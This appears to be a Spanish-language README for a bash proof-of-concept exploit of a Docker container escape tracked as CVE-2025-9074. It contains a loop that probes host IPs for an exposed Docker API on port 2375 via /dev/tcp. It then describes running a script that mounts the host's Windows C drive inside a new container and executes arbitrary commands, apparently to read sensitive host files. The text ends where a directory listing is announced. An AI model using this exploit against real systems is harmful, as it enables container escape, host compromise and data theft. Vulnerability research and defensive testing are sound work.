pppxo/cve-2025-9074-poc-bash
El PoC original es: https://github.com/j3r1ch0123/CVE-2025-9074. Este es un nuevo PoC en bash, ya que no todos los contenedores Docker tienen python instalado, y principalmente debe ejecutarse desde dentro de un contenedor.
Desde dentro del contenedor, use lo siguiente para encontrar una API de Docker vulnerable:
for ip in 172.18.0.1 172.17.0.1 192.168.65.7; do
(echo > /dev/tcp/$ip/2375 2>/dev/null && echo "[+] $ip:2375 open") || :
done
Use este script de bash de la siguiente manera:
$ ./cve-2025-9074-poc.sh <IP> <PORT> <CMD>
El script creará una nueva imagen de Docker, montará el directorio C de Windows del host en el directorio /host_root/, iniciará la imagen y luego ejecutará el comando (que probablemente sea algo que necesite explotar leyendo archivos sensibles del host).
Lo siguiente muestra el listado del directorio '/host_root/' montado:
